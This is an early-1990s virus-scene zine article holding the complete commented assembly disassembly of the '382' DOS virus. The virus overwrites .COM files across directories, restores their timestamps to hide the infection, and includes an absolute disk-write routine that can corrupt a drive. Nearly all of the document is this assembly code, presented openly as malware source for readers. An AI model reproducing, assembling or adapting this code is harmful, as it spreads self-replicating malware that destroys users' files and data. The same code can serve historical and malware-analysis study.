home *** CD-ROM | disk | FTP | other *** search
- ─────────═════════>>> Article From Evolution #2 - YAM '92
-
- Article Title: 382 Virus
- Author: Admiral Bailey
-
-
- ;=---
- ;
- ; 382 Virus (Family-Q as McAfee 91 calls it)
- ;
- ; Disassembled By Admiral Bailey [YAM '92]
- ; June 25, 1992
- ;
- ; The writer of this is unknown to me... maybe you should put some of
- ; your info in it.
- ;
- ; Notes:This virus I found on a board and got right to it. It wasnt
- ; too hard to disassemble since there was no encryption. Its an
- ; .com over writing virus. Yes there is ????????exe inside the
- ; file but I don't know what the hell that is. If you run it it
- ; only overwrits the com files. It probably get exe files if no
- ; com files are found. But anyways there seems to be a bug in
- ; the original virus. Put it in a directory and run it it will
- ; display crap and crash the computer. With out doing any
- ; damage. If you want any more info check it out for yourself.
- ; All i did this time was comment it.. cuz i found this to be a
- ; boring run of the mill virus. Anyways here it is.
- ;
- ;=---------
-
- PAGE 59,132 ; I gotta check out
- ; what this means...
-
- data_1e equ 9Eh
- data_15e equ 0E000h
- data_17e equ 0E17Eh
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
- org 100h
-
- 382 proc far
-
- start:
- jmp short $+2 ; just there to confuse
- mov cs:data_4,0 ; actually jumps to here
- mov ah,19h ; get default drive
- int 21h
- mov cs:data_11,al ; save default drive
- mov ah,47h ; get present dir of
- mov dl,0 ; current drive
- lea si,data_13 ; holds directory name
- int 21h
- clc
- loc_1:
- jnc loc_2 ; if no error then jump
- mov ah,17h ; rename file
- lea dx,data_7 ; Load effective addr
- int 21h
- cmp al,0FFh ; is there an error?
- jne loc_2 ; no then jump
- mov ah,2Ch ; get current time
- int 21h
-
- mov al,cs:data_11 ; drive
- mov bx,dx ; buffer
- mov cx,2 ; # of sectors
- mov dh,0 ; parm block
- int 26h ; Absolute disk write
- jmp loc_9
-
- loc_2:
- mov ah,3Bh ; set the current
- lea dx,data_10 ; directory
- int 21h
-
- jmp short loc_6
- loc_3:
- mov ah,17h ; rename file
- lea dx,data_7
- int 21h
-
- mov ah,3Bh ; set current directory
- lea dx,data_10
- int 21h
-
- mov ah,4Eh ; find first file
- mov cx,11h
- lea dx,data_6 ; file type
- int 21h
-
- jc loc_1 ; Jump if carry Set
- mov bx,cs:data_4 ; put value in bx
- inc bx ; check to see if it is
- dec bx ; zero
- jz loc_5
- loc_4:
- mov ah,4Fh ; find next file
- int 21h
-
- jc loc_1 ; none found then jump
- dec bx
- jnz loc_4 ; Jump if not zero
- loc_5:
- mov ah,2Fh ; get dta
- int 21h
-
- add bx,1Ch
- mov word ptr es:[bx],5C20h
- inc bx
- push ds ; save ds
- mov ax,es ; putting es into ds
- mov ds,ax
- mov dx,bx
- mov ah,3Bh ; get current dir
- int 21h
-
- pop ds ; get old ds
- mov bx,cs:data_4
- inc bx
- mov cs:data_4,bx
- loc_6:
- mov ah,4Eh ; find first file
- mov cx,1
- lea dx,data_5 ; type to find
- int 21h
-
- jc loc_3 ; none found then jump
- jmp short loc_8
- loc_7:
- mov ah,4Fh ; find next file
- int 21h
-
- jc loc_3 ; none found then jump
- loc_8:
- mov ah,3Dh ; open file
- mov al,0
- mov dx,data_1e
- int 21h
-
- mov bx,ax ; file name in bx
- mov ah,3Fh ; read file
- mov cx,17Eh ; number of bytes
- nop
- mov dx,data_15e ; buffer to hold the
- nop ; bytes
- int 21h
-
- mov ah,3Eh ; close the file
- int 21h
-
- mov bx,cs:data_15e
- cmp bx,0EBh
- je loc_7
- mov ah,43h ; get attrib
- mov al,0
- mov dx,data_1e ; filename
- int 21h
-
- mov ah,43h ; set attrib
- mov al,1
- and cx,0FEh
- int 21h
-
- mov ah,3Dh ; open up the file
- mov al,2
- mov dx,data_1e ; filename
- int 21h
-
- mov bx,ax ; filename
- mov ah,57h ; get files date and
- mov al,0 ; time
- int 21h
-
- push cx ; save time
- push dx
- mov dx,word ptr cs:[23Ch]
- mov cs:data_17e,dx
- mov dx,word ptr cs:data_15e+1
- lea cx,cs:[13Bh]
- sub dx,cx
- mov word ptr cs:[23Ch],dx
- mov ah,40h ; write to file
- mov cx,17Eh ; size of virus [382]
- nop
- lea dx,ds:[100h] ; Load effective addr
- int 21h
-
- mov ah,57h ; set files time+date
- mov al,1
- pop dx ; get old date+time
- pop cx
- int 21h
-
- mov ah,3Eh ; close up the file
- int 21h
-
- mov dx,cs:data_17e
- mov word ptr cs:[23Ch],dx
- loc_9:
- call sub_1
- jmp $-3618h
- db 0B4h, 4Ch,0CDh, 21h ; bytes to quit
- ; mov ax,4c00h
- ; int 21
-
- 382 endp
-
- sub_1 proc near
- mov ah,3Bh ; set current dir
- lea dx,data_12 ; holds current
- int 21h ; directory
- retn
- sub_1 endp
-
- data_4 dw 0
- data_5 db 2Ah
- db 2Eh, 63h, 6Fh, 6Dh, 00h
- data_6 db 2Ah
- db 0
- data_7 db 0FFh
- db 00h, 00h, 00h, 00h, 00h, 3Fh
- db 00h
- db 3Fh
- db 7 dup (3Fh)
- db 65h, 78h, 65h, 00h, 00h, 00h
- db 00h, 00h
- db 3Fh
- db 7 dup (3Fh)
- db 63h, 6Fh, 6Dh, 00h
- data_10 db 5Ch
- db 0
- data_11 db 4
- data_12 db 5Ch
- data_13 db 0
-
- seg_a ends
-
-
-
- end start
-
-
-